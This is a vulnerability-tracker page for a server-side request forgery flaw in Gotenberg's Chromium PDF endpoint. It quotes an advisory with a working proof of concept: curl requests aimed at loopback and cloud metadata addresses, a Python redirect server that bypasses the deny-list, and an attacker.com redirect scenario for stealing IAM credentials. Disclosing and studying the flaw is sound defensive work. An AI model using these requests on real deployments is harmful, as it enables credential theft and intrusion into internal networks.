CVE-2026-42595

highpriority · track · 0EPSS 0.003 · 24 %ileEUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.31% (24th) EPSS
CVSS 8.6 · high
Is it mine?
4 products
Check your exposure
Who says so?
4 sources
cnnvd · enisa_euvd · osv · nvd

EPSS · scored 2026-10-27

Gotenberg is a Docker-powered stateless API for PDF files. Prior to 8.32.0, Gotenberg's Chromium URL-to-PDF endpoint (/forms/chromium/convert/url) has no default protection against HTTP/HTTPS-based SSRF. The default deny-list regex only blocks file:// URIs. An unauthenticated attacker can point Chromium at any internal IP — including loopback, RFC 1918 ranges, and cloud metadata endpoints — and receive the response rendered as a PDF. Additionally, even when operators configure a custom deny-list, the protection is bypassed via HTTP redirects. Gotenberg's Chromium instance follows 302 redirects from an attacker-controlled external URL to internal targets without re-validating the redirect destination against the deny-list. This vulnerability is fixed in 8.32.0.

01

cvss

Technical severity, 0–10. One row per scoring source.

8.6
010

base score 0–10 · higher = more severe · hover a vector to decode

v3.18.6highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:Nsecondary · ENISA EU
v3.18.6highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:Nsecondary · security-advisories@github.comexploitability 3.9 · impact 4
v3.18.6highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:Nsecondary · OSV
v3.17.9highCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: yes · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (4)

Products and version ranges known to be affected.

05

advisories (2)

Vendor and ecosystem advisories describing this.

  • GHSA-chwh-f6gm-r836Gotenberg: Server-Side Request Forgery via Chromium URL Endpoint with Redirect-Based Deny-List Bypass2026-05-11ghsa · osvUS

    A review of 4 published Gotenberg security advisories exposed an SSRF issue. GHSA-pjrr-jgp4-v2fm covers SSRF via the `downloadFrom` endpoint. GHSA-pcrp-7g9h-7qhp covers SSRF via the `webhook` endpoint. Neither advisory addresses SSRF through the primary Chromium URL-to-PDF conversion endpoint (`/forms/chromium/convert/url`), which has no default deny-list for HTTP/HTTPS targets. The redirect-based deny-list bypass described here also applies to `downloadFrom` and `webhook` but is a separate finding from the initial request validation those advisories cover. ### Summary Gotenberg's Chromium URL-to-PDF endpoint (`/forms/chromium/convert/url`) has no default protection against HTTP/HTTPS-based SSRF. The default deny-list regex only blocks `file://` URIs. An unauthenticated attacker can point Chromium at any internal IP — including loopback, RFC 1918 ranges, and cloud metadata endpoints — and receive the response rendered as a PDF. Additionally, even when operators configure a custom deny-list, the protection is bypassed via HTTP redirects. Gotenberg's Chromium instance follows `302` redirects from an attacker-controlled external URL to internal targets without re-validating the redirect destination against the deny-list. What makes this particularly notable is that Gotenberg's secondary features — `downloadFrom` and `webhook` — ship with default deny-lists that explicitly block RFC 1918 and link-local addresses. The primary feature, the one that literally takes a URL and fetches it server-side, does not. ### Details **Finding 1: Zero default SSRF protection on Chromium URL endpoint** The Chromium URL endpoint is the core feature of Gotenberg. It accepts a URL, tells headless Chromium to fetch it, and returns the rendered page as a PDF. The default deny-list is configured in `pkg/modules/chromium/chromium.go` and the value shipped in Docker is: ``` ^file:(?!//\/tmp/).* ``` This regex only blocks `file://` URIs outside of `/tmp/`. HTTP and HTTPS requests to any host — including `127.0.0.1`, `10.x.x.x`, `192.168.x.x`, and `169.254.169.254` — are not filtered at all. Meanwhile, the `downloadFrom` and `webhook` endpoints use deny-lists that explicitly block loopback, RFC 1918, and cloud metadata IPs. The developer clearly understood the SSRF risk but the protection was not applied to the main Chromium conversion endpoint. **Finding 2: Redirect-based SSRF bypass on all endpoints** Both `downloadFrom` and `webhook` use Go's default `http.Client{}` with no `CheckRedirect` function. Go follows up to 10 redirects automatically. The deny-list is a pre-flight check on the initial URL only. Once the request is in flight, redirects are followed transparently and the application never re-validates the destination. The Chromium browser similarly follows redirects without restriction. Even if an operator configures a custom deny-list on the Chromium URL endpoint, an attacker hosts a redirect server that passes initial validation and then redirects Chromium to an internal target. ### PoC Tested on Docker using `gotenberg/gotenberg:8` (v8.30.1) on `localhost:3000`. No authentication is required on any endpoint. **Environment:** ``` $ curl http://localhost:3000/version 8.30.1 $ curl http://localhost:3000/health {"status":"up","details":{"chromium":{"status":"up"},"libreoffice":{"status":"up"}}} ``` **1. Control — external URL works as expected:** ``` $ curl -X POST http://localhost:3000/forms/chromium/convert/url \ --form 'url=http://example.com' \ -o test.pdf -w "HTTP %{http_code}, Size: %{size_download} bytes" HTTP 200, Size: 14961 bytes $ file test.pdf test.pdf: PDF document, version 1.4, 1 page(s) ``` **2. Control — `file://` protocol is correctly blocked by default deny-list:** ``` $ curl -X POST http://localhost:3000/forms/chromium/convert/url \ --form 'url=file:///etc/passwd' \ -w "HTTP %{http_code}" HTTP 403 Body: Forbidden ``` **3. SSRF to localhost — NOT blocked:** ``` $ curl -X POST http://localhost:3000/forms/chromium/convert/url \ --form 'url=http://127.0.0.1:3000/health' \ -o ssrf.pdf -w "HTTP %{http_code}, Size: %{size_download} bytes" HTTP 200, Size: 10196 bytes ``` Chromium fetched its own `/health` endpoint and rendered the response as a PDF. The request succeeded because the default deny-list does not cover HTTP to loopback. **4. Cloud metadata IP — NOT blocked:** ``` $ curl --max-time 15 -X POST http://localhost:3000/forms/chromium/convert/url \ --form 'url=http://169.254.169.254/latest/meta-data/' \ -o meta.pdf -w "HTTP %{http_code}, Size: %{size_download} bytes" HTTP 000, Size: 0 bytes (timeout — no metadata service in Docker, but request was NOT blocked) ``` The request timed out because there is no metadata service running in the Docker test environment. The critical observation is that Gotenberg did not block or reject the request. In a cloud deployment (AWS, GCP, Azure), this would return IAM credentials rendered as a PDF. **5. Redirect-based bypass — Chromium follows 302 to internal target:** Redirect server on the host (port 9999): ```python from http.server import HTTPServer, BaseHTTPRequestHandler class RedirectHandler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(302) self.send_header('Location', 'http://127.0.0.1:3000/health') self.end_headers() def do_HEAD(self): self.do_GET() HTTPServer(('0.0.0.0', 9999), RedirectHandler).serve_forever() ``` ``` $ curl --max-time 15 -X POST http://localhost:3000/forms/chromium/convert/url \ --form 'url=http://172.17.0.1:9999/' \ -o redir.pdf -w "HTTP %{http_code}, Size: %{size_download} bytes" HTTP 200, Size: 10244 bytes $ file redir.pdf redir.pdf: PDF document, version 1.4, 1 page(s) ``` Chromium followed the 302 redirect from `http://172.17.0.1:9999/` (external, passes any deny-list) to `http://127.0.0.1:3000/health` (internal). The internal response was rendered as a PDF and returned to the caller. No validation occurred on the redirect destination. The Chromium endpoint accepted all HTTP/HTTPS URLs including loopback and cloud metadata addresses. Only `file://` URIs were blocked by the default deny-list. The redirect from an external server to `127.0.0.1` was also followed without any check on the redirect target. ### Impact Any user who can reach the Gotenberg API — which requires no authentication by default — can make the server fetch arbitrary internal resources and receive the rendered content as a PDF. Gotenberg is typically deployed as a backend service in infrastructure that has broad internal network access. Practical attack scenarios: - **Cloud credential theft**: Request `http://169.254.169.254/latest/meta-data/iam/security-credentials/` to exfiltrate AWS IAM role credentials. The same applies to GCP and Azure metadata endpoints. - **Internal service access**: Reach any HTTP service on the internal network that the Gotenberg container can route to — admin panels, databases with HTTP interfaces, monitoring dashboards. - **Internal port scanning**: Use response timing and content differences to map internal infrastructure. - **Deny-list bypass via redirect**: Even deployments that have configured custom deny-lists for the initial URL are vulnerable. An attacker hosts a redirect server at `https://attacker.com/r` that responds with `302 → http://169.254.169.254/latest/meta-data/`. The deny-list validates the initial URL, Chromium follows the redirect, and the cloud metadata is returned as a PDF. The redirect bypass also affects the `downloadFrom` and `webhook` endpoints, which use Go's `http.Client{}` with no `CheckRedirect` function. Their RFC 1918 deny-lists are rendered ineffective by a single redirect hop. ---

  • GO-2026-5324Gotenberg: Server-Side Request Forgery via Chromium URL Endpoint with Redirect-Based Deny-List Bypass in github.com/gotenberg/gotenberg2026-06-25vendor · osvUS

    Gotenberg: Server-Side Request Forgery via Chromium URL Endpoint with Redirect-Based Deny-List Bypass in github.com/gotenberg/gotenberg

06

also known as (5)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-05-14modified 2026-06-17
08

references (4)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan